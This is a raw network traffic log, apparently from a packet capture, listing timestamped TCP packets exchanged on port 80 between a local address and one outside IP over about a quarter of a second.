Dec 18, 2024 17:08:12.793509960 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.793555975 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.794512987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.794667006 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.794723988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.795557976 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.795612097 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.795686007 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.795738935 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.796649933 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.796700001 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.797049046 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.797096014 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.797811985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.797866106 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.797871113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.797919989 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.798836946 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.799190044 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.799256086 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.799802065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.799865961 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.799984932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.800040007 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.800878048 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.800935030 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.801011086 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.801064968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.802021980 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.802122116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.802177906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.803040981 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.803095102 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.803183079 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.803237915 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.804182053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.804241896 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.804626942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.804687023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.805243969 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.805293083 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.805727959 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.805773973 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.806405067 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.806463957 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.806467056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.806518078 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.807449102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.807517052 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.807585955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.807645082 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.808547974 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.808612108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.808739901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.808855057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.809660912 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.809792042 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.809804916 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.809859037 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.810673952 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.810786009 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.810846090 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.811719894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.811795950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.811929941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.811990023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.812745094 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.813198090 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.813256979 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.813822031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.813884020 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.814109087 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.814169884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.814944983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.815011978 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.815105915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.815165043 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.816086054 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.816144943 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.816226006 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.816277027 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.817147970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.817203999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.817302942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.817357063 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.818504095 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.818538904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.818599939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.819241047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.819298983 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.819431067 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.819484949 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.820396900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.820511103 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.820591927 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.820741892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.821449995 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.821505070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.821506023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.821558952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.822477102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.822580099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.822638988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.823606968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.823663950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.823719978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.823779106 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.824758053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.824814081 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.825037956 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.825089931 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.825961113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.826014996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.826035976 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.826087952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.827414036 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.827425003 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.827483892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.828035116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.828094959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.828176022 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.828236103 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.829176903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.829232931 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.829278946 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.829327106 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.829946995 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.830003977 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.830085993 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.830154896 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.831022024 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.831131935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.831197977 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.832146883 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.832216978 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.832279921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.832336903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.833297968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.833359003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.833415031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.833475113 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.834281921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.834590912 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.834651947 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.835374117 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.835433960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.835629940 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.835685015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.836487055 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.836551905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.836584091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.836630106 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.837533951 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.837591887 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.837668896 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.837816954 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.838608980 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.838800907 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.838885069 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.838937998 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.839754105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.839791059 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.839813948 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.839838028 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.841115952 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.841169119 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.841218948 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.841267109 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.841852903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.841949940 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.842016935 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.843337059 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.843476057 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.843549967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.845067024 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.845128059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.845180988 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.845235109 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.846123934 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.846184015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.987026930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.987114906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.987368107 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.987423897 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.987737894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.987755060 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.987793922 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.987823009 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.988807917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.988823891 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.988863945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.988886118 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.989852905 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.989870071 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.989907980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.989927053 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.990814924 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.990868092 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.990923882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.990977049 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.991852045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.991905928 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.992022991 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.992077112 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.992955923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.993010998 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.993055105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.993108988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.994035006 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.994087934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.994184971 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.994246006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.995373011 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.995424986 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.995507956 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.995558977 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.996196032 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.996248960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.996325016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.996372938 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.997224092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.997375965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.997428894 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.998434067 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.998486042 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.998528957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.998585939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.999524117 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.999583006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.999702930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.999752998 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.000499964 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.000560999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.000612020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.000663996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.001686096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.001702070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.001745939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.001765966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.002643108 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.002697945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.002785921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.002840996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.003973961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.004025936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.004182100 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.004234076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.004968882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.005023003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.005040884 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.005091906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.005853891 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.005906105 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.006107092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.006158113 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.006983042 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.007035017 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.007122993 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.007219076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.008121014 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.008186102 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.008214951 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.008270025 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.009119987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.009176970 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.009243965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.009299040 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.010209084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.010266066 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.010402918 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.010457993 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.011261940 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.011326075 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.011432886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.011498928 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.012368917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.012425900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.012480974 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.012533903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.013465881 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.013570070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.013643980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.014484882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.014553070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.014611959 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.014673948 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.015678883 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.015803099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.015868902 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.016813993 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.016849041 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.016890049 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.016941071 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.018240929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.018441916 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.018531084 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.019391060 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.019463062 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.019511938 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.019567013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.020422935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.020477057 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.020565033 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.021291018 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.021456957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.021517992 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.022691011 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.022727013 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.022751093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.022803068 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.023123026 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.023180008 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.023377895 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.023435116 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.024260998 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.024317026 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.024389982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.024440050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.025610924 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.025645971 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.025671959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.025690079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.026396990 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.026453972 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.026585102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.026639938 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.027506113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.027647972 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.027709007 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.028636932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.028716087 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.028754950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.028809071 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.029584885 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.029665947 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.029702902 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.029763937 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.030695915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.030761957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.030831099 CET	49749	80	192.168.2.4	31.41.244.11
